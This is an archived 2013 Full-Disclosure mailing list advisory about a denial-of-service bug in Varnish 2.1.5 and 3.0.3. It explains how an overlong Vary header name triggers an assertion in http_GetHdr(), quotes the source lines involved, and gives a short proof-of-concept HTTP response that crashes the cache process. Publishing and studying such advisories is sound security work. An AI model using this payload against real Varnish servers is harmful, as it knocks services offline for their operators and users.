lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Tue, 05 Mar 2013 20:58:29 +0000
From: tytusromekiatomek@...hmail.com
To: full-disclosure@...ts.grok.org.uk
Subject: Varnish 2.1.5,
	3.0.3 DoS in http_GetHdr() while parsing Vary header

##############################################
# http_GetHdr()     | (l == strlen(hdr + 1)) #
##############################################
#
# Authors:
#
# 22733db72ab3ed94b5f8a1ffcde850251fe6f466
# c8e74ebd8392fda4788179f9a02bb49337638e7b
# AKAT-1
#
##############################################

# Versions: 3.0.3, 2.1.5


# Summary: 
It's possible to crash Varnish (via assertion) if the single header within the Vary header is longer then 127 bytes.

The 'l' (cache_http.c#265) is the length of the given header name passed in a 'Vary' header and stored in the 'vsb' structure (vsb.h#39).
It's compared with the strlen() of the same header name in the diagnostic() call (cache_http.c#266), which is a macro to assert() (include/vas.h#68).
Because header name was stored in the 'vsb' as a signed char (cache_vary.c#98), the maximum value for 'l' is 127. If the header name is equal
or larger than this value (which is the case for strlen()), the assert() is called and the child is killed with the SIGABRT.

PoC (response)
-- cut --
HTTP/1.1 200 foo
Vary: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa


-- cut --

varnish-3.0.3/bin/varnishd/cache_vary.c:
-- cut --
 95         /* Build a header-matching string out of it */
 96         VSB_clear(sbh);
 97         VSB_printf(sbh, "%c%.*s:%c",
 98             (char)(1 + (q - p)), (int)(q - p), p, 0);
 99         AZ(VSB_finish(sbh));
100
101         if (http_GetHdr(sp->http, VSB_data(sbh), &h)) {
-- cut --

varnish-3.0.3/bin/varnishd/cache_http.c:
-- cut --
 260 http_GetHdr(const struct http *hp, const char *hdr, char **ptr)
 261 {
 262     unsigned u, l;
 263     char *p;
 264
 265     l = hdr[0];
 266     diagnostic(l == strlen(hdr + 1));
 267     assert(hdr[l] == ':');
-- cut --
EOF

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ